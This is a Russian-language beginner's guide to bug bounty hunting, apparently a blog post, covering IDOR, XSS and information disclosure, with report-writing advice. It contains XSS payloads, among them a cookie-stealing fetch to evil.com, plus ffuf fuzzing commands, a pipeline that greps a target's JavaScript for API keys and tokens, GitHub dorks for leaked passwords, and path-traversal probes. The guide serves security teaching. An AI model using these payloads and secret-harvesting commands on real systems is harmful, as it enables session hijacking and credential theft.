Какие уязвимости искать первыми: IDOR, XSS, Info Disclosure

Привет, падаван. Сегодня не философия - сегодня практика. Ты только зашёл в баг-баунти и не знаешь, куда тыкать Burp'ом? Вот три класса багов, с которых начинает каждый умный хантер. Не потому что просто - а потому что они везде. 💻🔍

Почему именно эти три?

Большинство новичков идут ломать OAuth или SSRF и через месяц уходят, потому что «ничего не нашли». IDOR, XSS и Info Disclosure - это beginner-friendly с реальными выплатами. Они встречаются в 80% программ, не требуют 0day-мозгов и отлично тренируют методологию. Плюс - по ним море публичных write-up'ов, учись на чужих ошибках.

🔑 IDOR — твой лучший друг

Insecure Direct Object Reference - это когда приложение говорит тебе: «Эй, вот объект с ID=1337, держи» - и не проверяет, твой ли это объект.

Точка входа

Любой запрос с числовым или предсказуемым идентификатором:

GET /api/invoices/1042
GET /profile?user_id=5589
POST /download {"file_id": "report_007"}

Вектор атаки

  1. Логинишься под User A, перехватываешь запрос в Burp Suite
  2. Меняешь user_id=5589 на user_id=5590 (это уже User B)
  3. Получаешь чужие данные → High/Critical

Лайфхаки

  • Создай два аккаунта на таргете - это мастхэв для IDOR-охоты
  • Ищи не только GET, но и PATCH/DELETE - там бывает IDOR с деструктивным импактом (удаление чужого аккаунта = Critical 💣)
  • UUID вместо цифр? Не сдавайся - иногда UUID утекают в другом эндпоинте (Info Disclosure → IDOR, красивая цепочка)
  • Проверяй горизонтальный (другой юзер) и вертикальный (юзер → админ) прив-эск
# Быстрый фазз через ffuf
ffuf -u https://target.com/api/user/FUZZ -w ids.txt -H "Cookie: session=твой_токен"

Impact для репорта: доступ к PII другого пользователя - это минимум Medium, а чаще High. Если там финансовые данные - Critical без разговоров.

💥 XSS - классика, которая не умирает

Cross-Site Scripting - ты заставляешь браузер жертвы выполнить твой JavaScript. Звучит просто, но в правильных руках это угон сессий, фишинг прямо на домене компании и обход CSP.

Три типа - три тактики

Тип

Где живёт

Как искать

Reflected

URL-параметры, поиск

?q=<script>alert(1)</script>

Stored

Комменты, профили, чаты

Сохранить payload, открыть другим юзером

DOM-based

JS-код на клиенте

Ищи document.write, innerHTML, location.hash

Точка входа

https://target.com/search?q=кроссовки
↑ сюда суём payload

Базовый арсенал payload'ов

// Классика для проверки
<script>alert(document.domain)</script>
// Если фильтруют теги
"><img src=x onerror=alert(1)>
'><svg onload=alert(1)>
// Обход кавычек
javascript:alert`1`
// Реальный impact — кража куки
<script>fetch('https://evil.com/?c='+document.cookie)</script>

DOM XSS - ищем в JS

// Опасные sink'и, grep по исходнику:
document.write(...)
element.innerHTML = ...
location.href = ...
eval(...)
setTimeout("строка", ...)

🔍 Burp Suite Tip: включи Passive Scan и DOM Invader (в Burp Browser) - он автоматически находит DOM-sink'и и подставляет canary-токены. Работает лучше, чем руками.

🕵️ Info Disclosure - разведка перед штурмом

Information Disclosure - это когда приложение само рассказывает тебе то, что не должно. Отдельно может быть Low, но как стартовая точка для цепочки -бесценно.

Где искать

  1. Заголовки HTTP-ответов
Server: Apache/2.4.49        ← версия с CVE? Привет!
X-Powered-By: PHP/7.2.0 ← устаревшая PHP с RCE-историей
X-AspNet-Version: 4.0.30319
  1. JS-файлы и исходники
# Собираем JS с таргета
gau target.com | grep "\.js$" | httpx -silent > js_files.txt
# Ищем секреты
cat js_files.txt | xargs -I{} curl -s {} | grep -Ei "api_key|secret|password|token|aws"
  1. Директории и бэкапы
# ffuf по стандартным путям
ffuf -u https://target.com/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
# Классика, которую забывают проверить:
/.git/config
/.env
/backup.zip
/config.php.bak
/api/swagger.json ← JACKPOT 🎰
  1. Сообщения об ошибках
    Сунь невалидный input - ', ", {{7*7}}, ../../../etc/passwd. Stack trace в ответе = Info Disclosure + потенциальный вектор дальше.
  1. GitHub разведка
site:github.com "target.com" "api_key"
site:github.com "target.com" password

💡 Цепочка мечты: нашёл /api/swagger.json → увидел скрытые эндпоинты → нашёл IDOR → High severity. Вот так Info Disclosure превращается в деньги.

📋 Как оформить репорт, чтобы не словить N/A

Формула простая - VITA:

  • Vulnerability - что нашёл (IDOR в /api/orders/{id})
  • Impact - что это значит (любой авторизованный юзер читает заказы других)
  • To Reproduce - шаги 1-2-3, скриншоты, curl-команды
  • Attachment - Burp-запрос, видео, PoC-код
Title: IDOR in /api/v1/orders/{order_id} allows access to other users' orders
Steps:
1. Login as user_a@test.com
2. Place an order, capture request: GET /api/v1/orders/10042
3. Change order_id to 10041 (belongs to user_b@test.com)
4. Response returns full order details of another user
Impact: Any authenticated user can access PII and order history of all users.

🗺️ С чего начать прямо сейчас

  1. Burp Suite - перехватывай всё, смотри каждый запрос с глазами параноика
  2. Регайся на Standoff365/Bi.ZONE, выбирай программы с широким scope
  3. Первая неделя - только Info Disclosure + IDOR: реконь, собирай JS, смотри ID'шники
  4. Вторая неделя - подключай XSS: каждое поле ввода - твой полигон
  5. Читай публичные write-up'ы на HackerOne Hacktivity каждый день - это лучшая школа

Запомни: не надо ломать OAuth в первый месяц. Найди IDOR в чужом инвойсе - и ты уже не новичок, ты хантер с первым репортом. Погнали! 🚀

88 views·5 shares